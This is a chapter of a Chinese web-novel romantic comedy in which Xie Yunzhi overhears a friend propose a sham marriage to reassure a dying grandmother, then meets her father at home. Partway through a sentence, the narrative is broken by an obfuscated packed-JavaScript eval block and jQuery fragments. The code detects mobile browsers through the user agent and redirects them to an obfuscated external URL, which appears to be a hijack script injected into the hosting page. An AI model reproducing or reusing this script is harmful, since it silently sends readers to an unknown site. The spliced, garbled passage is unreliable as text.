唐芯重新调整坐姿,也不嫌脏,双臂交叠托着头,就这么趴在桌子上。
“医生说,让我做好心理准备,就这几天了。”
低哑的嗓音里是满满的惆怅,但还不到哽咽的程度,想来在这一个月的陪伴里,外婆已经开导好了唐芯。
外婆向来豁达,自己的身体自己清楚,恐怕早就对该发生的事有所准备。唐芯终将接受,或者说已经在慢慢学着适应,外婆终将离她而去的现实。外婆的病,是常年劳作积累下的沉疴旧疾,年纪大了,脏器衰竭,已经回天乏术。
“外婆说她这辈子活得够了,唯一放心不下的就只有我们俩,希望我们以后都能得到幸福。”
“所以你理解的幸福就是和我结婚?”
温斐惊疑之下,语调高了两度,引得不远处的谢韵之好奇转头瞥了一眼。
怎么是他?
这回惊疑的人换成了谢韵之,趁对方没注意,慌忙将头扭回来,右手抬起送至脑后,看似随意拨弄,实则悄悄把头发拨到右侧,挡住侧脸。身子微微向□□斜,耳朵竖起,集中注意力听那边在说些什么。
虽然有点子心虚,但该听的墙角还是要听的。
“那老一辈的想法不都是这样的吗?他们嘴里的幸福不就是找个人结婚嘛,那个红本本比什么东西都更有说服力。”
女孩沮丧的语气里带着撒娇的意味。
“那你觉得你外婆是这样的人吗?”
相比之下,男生的声音就显得尤为冷淡。
“……”
对面沉默了。
“……”
她唯有沉默。
“…………”
怎么还在沉默,我好急,能不能快进!!!
“我知道外婆不是这么想的,但是现在我能做给她看能够证明我会幸福的事就只有这一件。”
好,终于说话了,可喜可贺!
“斐斐,没有时间了……现在无论我做什么我都觉得我做得不够,我怎么样都会觉得遗憾,那不如骗骗外婆,至少让她安心。”
好一个追加攻击。
“……”
怎么轮到你沉默了,别深沉了,说话啊兄弟!!!
“可你知道的,我是gay。”
好犀利的反击!
桥豆麻袋……好像有什么奇怪的单词混了进来。O.o?
——
谢韵之瞳孔地震,不由得倒吸一口凉气。
gay!!!
gay???
他是gay???
EXM,是她想得太多了吗???上午的事真的只是意外???好尴尬啊!!!这种事是能在食堂说的吗???
Q版谢韵之小人在脑子里上蹿下跳、手舞足蹈、狰狞爬行,形象之癫狂真真是不忍直视。
好在精神世界如何癫狂都不会有人看见。
谢韵之经受过严苛的礼仪训练,向来端得住,脸上始终挂着完美微笑,看上去依旧是淡雅娴静的淑女。只一双手好像很忙又不知道在忙什么的样子上下左右来回摆动,脚趾忍不住抠地,给昂贵的皮鞋底来了个局部spa。
艰难地把短路的脑神经搭好,然后超不经意地把头一点一点,一点一点偷偷往右撇,结果却不经意间对上了温斐好似随意看过来的眼神。
时间仿佛被无限拉长的同时,世界被调成了静音状态,二人视线相接,似互相吸引的磁铁南北极,触而难离。
这是一个绵长的眼神对视。
啊——!谢韵之内心土拨鼠尖叫。
完蛋了……他看见了!!!OMG,BBQ了,呜呜呜呜……完美形象从此就要舍她而去了(liao)……呜呜呜呜——
顶着对面戏谑的眼神,谢韵之紧急撤回一个眼神交流,“咣”一下站起来,抄起餐盘,拉起郑璐璐拔腿就往外走。
死腿,快走啊!!!
——————
温斐淡淡注视着谢韵之忙不迭逃窜的背影,一心二用继续听唐芯讲她那套貌似很有道理的糖式理论。
“我知道呀,可是外婆又不知道。而且她操心的是我们俩诶,我俩结婚那不就是直接完成KPI。再说了,除了你,我突然带回去一个老公,外婆也不会信的,说不定还以为我魇着了,更担心。”
唐芯有理有据罗列原因,越说越觉得有道理。撑着桌子坐直身体,十指交叉成弧,轻搭在小腹前,挤出一个可怜兮兮的表情,眼睛一眨一眨地看着温斐。
乖巧.jpg
温斐眼神飘回,深深地凝望她,薄唇轻抿。思虑再三,最后问到:“你真得考虑清楚了吗?”
“嗯。”坚定回答并不停点头以表心志。
“世人眼里很多重要的东西,所谓幸福、婚姻,对我来说都毫无意义。但是,你,唐芯,你和我不同。你……”
“没有什么不同,我是成年人了,可以为我做得所有决定负责。”唐芯大概能猜到温斐想说些什么,率先出言打断,认真道。
这是说给温斐听的,也是给自己的告诫。
“再说了,领个证给外婆看而已,之后还可以离得嘛,嘿嘿。”她不知想到了什么,眨了下眼,俏皮地笑了笑。
温斐挑眉,唇角微扬,略带嘲讽地玩笑道:“那我们还挺与时俱进,上午结婚下午离,9.9买四本证。”
“那怕是不行。”
“嗯?”
“你忘啦,现在有离婚冷静期,最快也要一个月后。”唐芯说着说着便自顾自笑出了声。
温斐被她感染,也不禁笑了。
二人对视片刻,最终是温斐败下阵来,长叹一口气,还是应了下来。
“好。”
——
温斐很久没有这样苦恼了。
是他out了吗,真不明白现在的女孩子在想些什么。
唐芯向来点子多,想一出是一出。
倒是那个女生……是叫谢韵之吧?
难道他是什么很恐怖的东西吗?仅有的两次见面那女孩眼睛里都盛着惊恐,不过对视一秒,就把人吓得逃之夭夭……
匆忙逃走的谢韵之不会知道自己纯粹是做贼心虚,温斐完全不在乎她听到了什么,都能在大庭广众之下说出来了,那就是没什么见不得人的。
——————
谢韵之拖着疲惫的身体回到居住的公寓。
好累啊……身累,心更累。但是出门在外,还是要保持体面。
微笑.jpg
开门,关门,换鞋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408788|168788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,扔包,扑向沙发。一气呵成!nice!
谢韵之,你活着到家了,你真棒!
她忍不住在心里给自己比了个特大号的赞。
然后——
“韵之?”低沉磁性的男低音在房间里响起。
谢韵之狠狠阖上双眸,不敢睁开我的眼,希望是我的幻觉~,然后像是下定了某种决心,僵硬转头探寻声音的源头,嗡声回应:“爸爸。”
谢瑾端着一盘切好的西瓜从厨房走向客厅,顺手捡起谢韵之扔在地上的小包放到一旁的零食架上,然后把果盘搁在茶几上,往她头的方向推了推,再拿起被随意摆在沙发靠背上的毯子,抖开,轻轻披在她身上。
“怎么了,生病了吗?”他走到另一边的小沙发上坐下,双腿随意搭叠,仔细端详一番她的神色,确认没什么大碍后轻笑一声问道。
“没有啦~,只是这几天为了毕业答辩忙得连轴转,事情结束后有点脱力而已~”
谢韵之咬了一口被递到嘴边的西瓜,思虑再三,还是向爸爸隐瞒了今天早上发生的事(故)。随后翻身坐好,捞过滑落的薄毯对折,盖在腿上。端正坐姿,接过水果叉,小口吃西瓜,仪态从容,脸上是恰到好处的微笑。
和刚刚瘫软在沙发上的样子判若两人。
“倒是你,爸爸,你事情忙完了吗,怎么有空来看我啦~?”
面对女儿试图萌混过关的行为,谢华瑾只能报之无奈一笑,选择纵容。
“没忙完,早上突然想起今天是你毕业答辩的日子,就抽空来看看你。”
“哦~”
“你们毕业典礼是几号?”
“18号。”
“那真是不巧,18号早上我有一个重要会议,恐怕没时间参加你的毕业典礼。”
谢华瑾在心里算了算,发现实在挤不出时间,眉头紧皱,无奈抬手揉了揉鼻梁。
谢韵之暗忖,他要是真来了才是恐怖故事好吧,她的毕业典礼真不必如此隆重!!!
但嘴上还是乖巧安慰着:“没关系的,爸爸,你工作更重要。到时候我和小姑、二婶多拍几张照发群里好了。”
“好。”谢华瑾点头,转而说起其他事,“后天是你二叔和小姑的生日,记得早点回家。”
“好~”
谢韵之在心里翻了个不雅的白眼,去年她不过是在路上堵车,到的稍微晚了一点点,就被奶奶抓着喋喋不休说了一整晚,从礼仪问题上升到态度问题,又拔高到道德层面。
明明没迟到!!!
——
谢韵之不舍地(欢欣地)送父亲大人离开,在门口依依惜别(愉快欢送),目送谢华瑾进了电梯才转身关门。
“芜湖~”
踱着小碎步摸进厨房,眼睛里“blingbling”地冒着小星星。
炉灶上果然煮着美味的鸡汤,“咕噜咕噜~”地冒着泡。刚刚和爸爸说话的时候就闻到了香味,果然有好东西。
套上隔热手套掀开锅盖,浓郁醇厚的鲜味随着蒸腾而起的白雾逸散开来,深吸一口,真香啊!
短暂愧疚一秒,确认刚刚自己做足了父慈女孝的表面功夫,便开始心安理得地享用美味鸡汤。
正好午餐没吃饱,嘿嘿~